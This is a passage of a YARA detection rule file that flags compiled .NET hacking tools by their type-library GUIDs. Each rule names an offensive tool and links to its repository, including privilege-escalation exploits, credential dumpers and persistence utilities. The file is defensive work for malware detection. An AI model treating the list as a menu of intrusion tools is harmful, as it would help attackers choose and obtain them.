		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "0c181186-7bb4-502b-8937-60cfd88ce689"

	strings:
		$typelibguid0lo = "9d1b853e-58f1-4ba5-aefc-5c221ca30e48" ascii wide
		$typelibguid0up = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CVE_2019_1253
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/padovah4ck/CVE-2019-1253"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "3e18b533-1b85-5eaf-bb3d-aa5b90fd2e28"

	strings:
		$typelibguid0lo = "584964c1-f983-498d-8370-23e27fdd0399" ascii wide
		$typelibguid0up = "584964C1-F983-498D-8370-23E27FDD0399" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_scout
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jaredhaight/scout"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "cd24cca7-3bc0-5e7a-9817-dc3b26ec8358"

	strings:
		$typelibguid0lo = "d9c76e82-b848-47d4-8f22-99bf22a8ee11" ascii wide
		$typelibguid0up = "D9C76E82-B848-47D4-8F22-99BF22A8EE11" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Grouper2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/l0ss/Grouper2/"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "a9cd9a16-b2a5-5d15-af89-7a8d0f1835bb"

	strings:
		$typelibguid0lo = "5decaea3-2610-4065-99dc-65b9b4ba6ccd" ascii wide
		$typelibguid0up = "5DECAEA3-2610-4065-99DC-65B9B4BA6CCD" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CasperStager
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ustayready/CasperStager"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "0ad18d2b-b7cc-5316-a8e8-b05d4439b8e1"

	strings:
		$typelibguid0lo = "c653a9f2-0939-43c8-9b93-fed5e2e4c7e6" ascii wide
		$typelibguid0up = "C653A9F2-0939-43C8-9B93-FED5E2E4C7E6" ascii wide
		$typelibguid1lo = "48dfc55e-6ae5-4a36-abef-14bc09d7510b" ascii wide
		$typelibguid1up = "48DFC55E-6AE5-4A36-ABEF-14BC09D7510B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_TellMeYourSecrets
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xbadjuju/TellMeYourSecrets"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "b00c353b-0446-5faa-87e5-0a7ba6ec2286"

	strings:
		$typelibguid0lo = "9b448062-7219-4d82-9a0a-e784c4b3aa27" ascii wide
		$typelibguid0up = "9B448062-7219-4D82-9A0A-E784C4B3AA27" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpExcel4_DCOM
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rvrsh3ll/SharpExcel4-DCOM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "12d3f26b-40ca-5034-a7c2-9be9c8a7599b"

	strings:
		$typelibguid0lo = "68b83ce5-bbd9-4ee3-b1cc-5e9223fab52b" ascii wide
		$typelibguid0up = "68B83CE5-BBD9-4EE3-B1CC-5E9223FAB52B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpShooter
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mdsecactivebreach/SharpShooter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "a59e6fe9-dbaf-5830-8cf1-485ff4dd939a"

	strings:
		$typelibguid0lo = "56598f1c-6d88-4994-a392-af337abe5777" ascii wide
		$typelibguid0up = "56598F1C-6D88-4994-A392-AF337ABE5777" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_NoMSBuild
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rvrsh3ll/NoMSBuild"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "9bc0661d-c60f-582b-8f88-87e3dfa13ddd"

	strings:
		$typelibguid0lo = "034a7b9f-18df-45da-b870-0e1cef500215" ascii wide
		$typelibguid0up = "034A7B9F-18DF-45DA-B870-0E1CEF500215" ascii wide
		$typelibguid1lo = "59b449d7-c1e8-4f47-80b8-7375178961db" ascii wide
		$typelibguid1up = "59B449D7-C1E8-4F47-80B8-7375178961DB" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_TeleShadow2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ParsingTeam/TeleShadow2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "5b22f2c4-0bd1-5a5a-8867-8fbc773d2b44"

	strings:
		$typelibguid0lo = "42c5c356-39cf-4c07-96df-ebb0ccf78ca4" ascii wide
		$typelibguid0up = "42C5C356-39CF-4C07-96DF-EBB0CCF78CA4" ascii wide
		$typelibguid1lo = "0242b5b1-4d26-413e-8c8c-13b4ed30d510" ascii wide
		$typelibguid1up = "0242B5B1-4D26-413E-8C8C-13B4ED30D510" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BadPotato
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/BeichenDream/BadPotato"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "8bee12fc-fc29-5256-b559-d914ef202c0c"

	strings:
		$typelibguid0lo = "0527a14f-1591-4d94-943e-d6d784a50549" ascii wide
		$typelibguid0up = "0527A14F-1591-4D94-943E-D6D784A50549" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_LethalHTA
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/codewhitesec/LethalHTA"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "e8e1ad03-a5f0-5508-b78d-0de7bdaf4704"

	strings:
		$typelibguid0lo = "784cde17-ff0f-4e43-911a-19119e89c43f" ascii wide
		$typelibguid0up = "784CDE17-FF0F-4E43-911A-19119E89C43F" ascii wide
		$typelibguid1lo = "7e2de2c0-61dc-43ab-a0ec-c27ee2172ea6" ascii wide
		$typelibguid1up = "7E2DE2C0-61DC-43AB-A0EC-C27EE2172EA6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpStat
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Raikia/SharpStat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "649c6cc0-e43b-558c-9567-00f352af528b"

	strings:
		$typelibguid0lo = "ffc5c721-49c8-448d-8ff4-2e3a7b7cc383" ascii wide
		$typelibguid0up = "FFC5C721-49C8-448D-8FF4-2E3A7B7CC383" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SneakyService
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/malcomvetter/SneakyService"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "d02d34f0-7aa1-5110-b7ea-670b5fb98150"

	strings:
		$typelibguid0lo = "897819d5-58e0-46a0-8e1a-91ea6a269d84" ascii wide
		$typelibguid0up = "897819D5-58E0-46A0-8E1A-91EA6A269D84" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpExec
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/anthemtotheego/SharpExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "5faff0aa-9ffe-5ac0-b9e0-ca9f79350036"

	strings:
		$typelibguid0lo = "7fbad126-e21c-4c4e-a9f0-613fcf585a71" ascii wide
		$typelibguid0up = "7FBAD126-E21C-4C4E-A9F0-613FCF585A71" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCOM
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rvrsh3ll/SharpCOM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "94da3da4-a8aa-5735-9a04-1f2447a330aa"

	strings:
		$typelibguid0lo = "51960f7d-76fe-499f-afbd-acabd7ba50d1" ascii wide
		$typelibguid0up = "51960F7D-76FE-499F-AFBD-ACABD7BA50D1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Inception
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/two06/Inception"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "8d18f1d5-9c9a-5258-9f96-fa24b702c6ad"

	strings:
		$typelibguid0lo = "03d96b8c-efd1-44a9-8db2-0b74db5d247a" ascii wide
		$typelibguid0up = "03D96B8C-EFD1-44A9-8DB2-0B74DB5D247A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpWMI_1
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/QAX-A-Team/sharpwmi"
		old_rule_name = "HKTL_NET_GUID_sharpwmi"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "cd5a1c7b-a45a-5541-b1b0-cf19c991ed22"

	strings:
		$typelibguid0lo = "bb357d38-6dc1-4f20-a54c-d664bd20677e" ascii wide
		$typelibguid0up = "BB357D38-6DC1-4F20-A54C-D664BD20677E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CVE_2019_1064
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/RythmStick/CVE-2019-1064"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "4640e874-faa4-58dc-a3f3-18246a343f15"

	strings:
		$typelibguid0lo = "ff97e98a-635e-4ea9-b2d0-1a13f6bdbc38" ascii wide
		$typelibguid0up = "FF97E98A-635E-4EA9-B2D0-1A13F6BDBC38" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Tokenvator
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xbadjuju/Tokenvator"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "84ebb6b3-cf11-5172-95d4-d114bfeb0bc7"

	strings:
		$typelibguid0lo = "4b2b3bd4-d28f-44cc-96b3-4a2f64213109" ascii wide
		$typelibguid0up = "4B2B3BD4-D28F-44CC-96B3-4A2F64213109" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_WheresMyImplant
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xbadjuju/WheresMyImplant"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "c99523ce-e2c0-5a21-89d1-70c0dd970731"

	strings:
		$typelibguid0lo = "cca59e4e-ce4d-40fc-965f-34560330c7e6" ascii wide
		$typelibguid0up = "CCA59E4E-CE4D-40FC-965F-34560330C7E6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Naga
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/byt3bl33d3r/Naga"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "3a9d3154-a8f1-57a4-8b61-498e2ebdfa42"

	strings:
		$typelibguid0lo = "99428732-4979-47b6-a323-0bb7d6d07c95" ascii wide
		$typelibguid0up = "99428732-4979-47B6-A323-0BB7D6D07C95" ascii wide
		$typelibguid1lo = "a2c9488f-6067-4b17-8c6f-2d464e65c535" ascii wide
		$typelibguid1up = "A2C9488F-6067-4B17-8C6F-2D464E65C535" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpBox
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/P1CKLES/SharpBox"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "fda1a67f-d746-5ddb-a33f-97d608b13bc9"

	strings:
		$typelibguid0lo = "616c1afb-2944-42ed-9951-bf435cadb600" ascii wide
		$typelibguid0up = "616C1AFB-2944-42ED-9951-BF435CADB600" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_rundotnetdll32
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xbadjuju/rundotnetdll32"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "266c8add-d2ca-5e46-8594-5d190447d133"

	strings:
		$typelibguid0lo = "a766db28-94b6-4ed1-aef9-5200bbdd8ca7" ascii wide
		$typelibguid0up = "A766DB28-94B6-4ED1-AEF9-5200BBDD8CA7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AntiDebug
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/malcomvetter/AntiDebug"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "f381081b-d0cb-593d-ad3d-28816f770b67"

	strings:
		$typelibguid0lo = "997265c1-1342-4d44-aded-67964a32f859" ascii wide
		$typelibguid0up = "997265C1-1342-4D44-ADED-67964A32F859" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DInvisibleRegistry
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NVISO-BE/DInvisibleRegistry"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "98409bbe-6346-5825-b7f7-c1afeac2b038"

	strings:
		$typelibguid0lo = "31d576fb-9fb9-455e-ab02-c78981634c65" ascii wide
		$typelibguid0up = "31D576FB-9FB9-455E-AB02-C78981634C65" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_TikiTorch
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/TikiTorch"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "354ee690-a0d0-5cc5-a73b-53b916ed0169"

	strings:
		$typelibguid0lo = "806c6c72-4adc-43d9-b028-6872fa48d334" ascii wide
		$typelibguid0up = "806C6C72-4ADC-43D9-B028-6872FA48D334" ascii wide
		$typelibguid1lo = "2ef9d8f7-6b77-4b75-822b-6a53a922c30f" ascii wide
		$typelibguid1up = "2EF9D8F7-6B77-4B75-822B-6A53A922C30F" ascii wide
		$typelibguid2lo = "8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6" ascii wide
		$typelibguid2up = "8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6" ascii wide
		$typelibguid3lo = "1f707405-9708-4a34-a809-2c62b84d4f0a" ascii wide
		$typelibguid3up = "1F707405-9708-4A34-A809-2C62B84D4F0A" ascii wide
		$typelibguid4lo = "97421325-b6d8-49e5-adf0-e2126abc17ee" ascii wide
		$typelibguid4up = "97421325-B6D8-49E5-ADF0-E2126ABC17EE" ascii wide
		$typelibguid5lo = "06c247da-e2e1-47f3-bc3c-da0838a6df1f" ascii wide
		$typelibguid5up = "06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F" ascii wide
		$typelibguid6lo = "fc700ac6-5182-421f-8853-0ad18cdbeb39" ascii wide
		$typelibguid6up = "FC700AC6-5182-421F-8853-0AD18CDBEB39" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_HiveJack
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Viralmaniar/HiveJack"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "10567ef4-780f-5e93-9061-3214116d6bbb"

	strings:
		$typelibguid0lo = "e12e62fe-bea3-4989-bf04-6f76028623e3" ascii wide
		$typelibguid0up = "E12E62FE-BEA3-4989-BF04-6F76028623E3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DecryptAutoLogon
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/securesean/DecryptAutoLogon"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "3ef58da9-16c1-54cf-9d06-a05680548cf5"

	strings:
		$typelibguid0lo = "015a37fc-53d0-499b-bffe-ab88c5086040" ascii wide
		$typelibguid0up = "015A37FC-53D0-499B-BFFE-AB88C5086040" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_UnstoppableService
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/malcomvetter/UnstoppableService"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "8c65fbee-d779-57a8-851b-7583be66c67a"

	strings:
		$typelibguid0lo = "0c117ee5-2a21-dead-beef-8cc7f0caaa86" ascii wide
		$typelibguid0up = "0C117EE5-2A21-DEAD-BEEF-8CC7F0CAAA86" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpWMI_2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/SharpWMI"
		old_rule_name = "HKTL_NET_GUID_SharpWMI"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "e6ab2f5e-2a5a-5be9-9b66-96cb745fd199"

	strings:
		$typelibguid0lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
		$typelibguid0up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_EWSToolkit
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/EWSToolkit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "acde7744-d17f-5e47-a5e2-ff4f4c4d8093"

	strings:
		$typelibguid0lo = "ca536d67-53c9-43b5-8bc8-9a05fdc567ed" ascii wide
		$typelibguid0up = "CA536D67-53C9-43B5-8BC8-9A05FDC567ED" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SweetPotato
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/CCob/SweetPotato"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "0e347d94-51eb-5589-93d8-b19fec7f2365"

	strings:
		$typelibguid0lo = "6aeb5004-6093-4c23-aeae-911d64cacc58" ascii wide
		$typelibguid0up = "6AEB5004-6093-4C23-AEAE-911D64CACC58" ascii wide
		$typelibguid1lo = "1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e" ascii wide
		$typelibguid1up = "1BF9C10F-6F89-4520-9D2E-AAF17D17BA5E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_memscan
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/nccgroup/memscan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "35175fe1-a583-50d1-8b0c-71f19b898817"

	strings:
		$typelibguid0lo = "79462f87-8418-4834-9356-8c11e44ce189" ascii wide
		$typelibguid0up = "79462F87-8418-4834-9356-8C11E44CE189" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpStay
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xthirteen/SharpStay"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "e5bde5a9-8e09-59ce-ad01-e29836813cf8"

	strings:
		$typelibguid0lo = "2963c954-7b1e-47f5-b4fa-2fc1f0d56aea" ascii wide
		$typelibguid0up = "2963C954-7B1E-47F5-B4FA-2FC1F0D56AEA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpLocker
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Pickfordmatt/SharpLocker"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "9525422a-d670-5475-abdc-b7ecd1ab9943"

	strings:
		$typelibguid0lo = "a6f8500f-68bc-4efc-962a-6c6e68d893af" ascii wide
		$typelibguid0up = "A6F8500F-68BC-4EFC-962A-6C6E68D893AF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SauronEye
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/vivami/SauronEye"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "3b624dde-a63e-58ac-a4db-af931f1d8553"

	strings:
		$typelibguid0lo = "0f43043d-8957-4ade-a0f4-25c1122e8118" ascii wide
		$typelibguid0up = "0F43043D-8957-4ADE-A0F4-25C1122E8118" ascii wide
		$typelibguid1lo = "086bf0ca-f1e4-4e8f-9040-a8c37a49fa26" ascii wide
		$typelibguid1up = "086BF0CA-F1E4-4E8F-9040-A8C37A49FA26" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_sitrep
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mdsecactivebreach/sitrep"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "5f2ac63e-4be1-520c-82b1-1957027a63e2"

	strings:
		$typelibguid0lo = "12963497-988f-46c0-9212-28b4b2b1831b" ascii wide
		$typelibguid0up = "12963497-988F-46C0-9212-28B4B2B1831B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpClipboard
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
